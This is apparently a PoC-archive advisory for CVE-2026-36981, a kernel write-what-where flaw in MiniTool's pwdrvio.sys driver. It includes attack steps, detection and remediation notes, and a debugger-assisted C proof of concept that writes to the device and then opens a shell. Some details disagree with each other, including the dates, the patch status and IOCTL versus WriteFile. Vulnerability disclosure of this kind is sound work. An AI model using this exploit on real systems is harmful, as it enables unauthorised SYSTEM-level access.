PoC Archive PoC Archive
High CVE-2026-36981 patched

MiniTool pwdrvio.sys Kernel Write-What-Where — Local Privilege Escalation Primitive (CVE-2026-36981)

by canomer · 2026-07-05

Severity
High
CVE
CVE-2026-36981
Category
binary
Affected product
MiniTool pwdrvio.sys kernel driver
Affected versions
Not specified in source
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05-10
Author / Researchercanomer
CVE / AdvisoryCVE-2026-36981
Categorybinary
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsminitool, kernel-driver, write-what-where, lpe, arbitrary-kernel-write, windows
RelatedN/A

Affected Target

FieldValue
Software / SystemMiniTool pwdrvio.sys kernel driver
Versions AffectedNot specified in source
Language / PlatformC PoC (debugger-assisted)
Authentication RequiredLocal, unprivileged user
Network Access RequiredNo

Summary

MiniTool’s pwdrvio.sys kernel driver exposes a write-what-where condition through its IOCTL interface, allowing an unprivileged local attacker to write attacker-controlled data to an attacker-controlled kernel address. The included PoC demonstrates a debugger-assisted arbitrary kernel-write primitive that can be leveraged toward full privilege escalation. Coordinated disclosure ran from vendor notification in February 2026 through public disclosure in May 2026.


Vulnerability Details

Root Cause

The pwdrvio.sys IOCTL handler accepts both a destination kernel address and data to write from the calling (unprivileged) process without validating that the address is safe to write to.

Attack Vector

  1. As a local, unprivileged user, open a handle to the pwdrvio.sys device.
  2. Send a crafted IOCTL request specifying an attacker-chosen kernel address and attacker-controlled data.
  3. The driver writes the data to the specified kernel address, providing a write-what-where primitive usable to escalate privileges (e.g. by overwriting a token or credential structure).

Impact

Local unprivileged user can obtain an arbitrary kernel-write primitive, enabling privilege escalation to SYSTEM.


Environment / Lab Setup

Target:   Windows system with the vulnerable MiniTool pwdrvio.sys driver loaded
Attacker: C compiler, a kernel debugger (for the demonstrated PoC), local unprivileged Windows account

Proof of Concept

PoC Script

See LPE_PoC.c in this folder.

1
Compile and run LPE_PoC.c on a system with a kernel debugger attached (per the source README's demonstrated methodology)

Uses the pwdrvio.sys IOCTL interface to perform a debugger-assisted arbitrary kernel write, demonstrating the underlying write-what-where primitive that can be leveraged toward privilege escalation.


Detection & Indicators of Compromise

Signs of compromise:

  • Unprivileged processes sending IOCTLs to pwdrvio.sys
  • Unexplained privilege escalation events on systems with MiniTool software installed

Remediation

ActionDetail
Primary fixUpdate to a patched MiniTool driver release once the vendor issues one
Interim mitigationRemove or restrict loading of pwdrvio.sys where MiniTool software is not actively required

References


Notes

Mirrored from https://github.com/canomer/CVE-2026-36981-Kernel-EoP-PoC on 2026-07-05.

LPE_PoC.c
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/*
Exploit Title: CVE-2026-36981 Minitool pwrdvio.sys Kernel EoP
Date: 2026-02-09
Exploit Author: patchmeifucan - patchmeifucan.com
Vendor Homepage: https://github.com/canomer/CVE-2026-36981-Kernel-EoP-PoC
Software Link: https://www.minitool.com/partition-manager/
Version: <=13.6
Tested on: Windows 10 / Windows 11 / x86_64-w64-mingw32-g++ (GCC) 15-win32
CVE : CVE-2026-36981
Compile command ~$ x86_64-w64-mingw32-gcc lpe_poc.c -o lpe_poc.exe -lntdll -static
*/
#include <windows.h>
#include <stdio.h>

int main() {
    HANDLE hDevice;
    DWORD bytesReturned;
    char buffer[0x100];

    printf("[*] MiniTool PoC Start...\n");
    printf("[*] Current User: "); system("whoami");

    hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0", 
                          GENERIC_READ | GENERIC_WRITE, 
                          0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] ERR: %d\n", GetLastError());
        return 1;
    }

    printf("[+] Success. WinDbg BP 1641\n");
    printf("[!] WinDbg 'g'\n");
    
    getchar();

    WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

    printf("[*] SYSTEM Shell...\n");

    system("whoami && cmd.exe");

    return 0;
}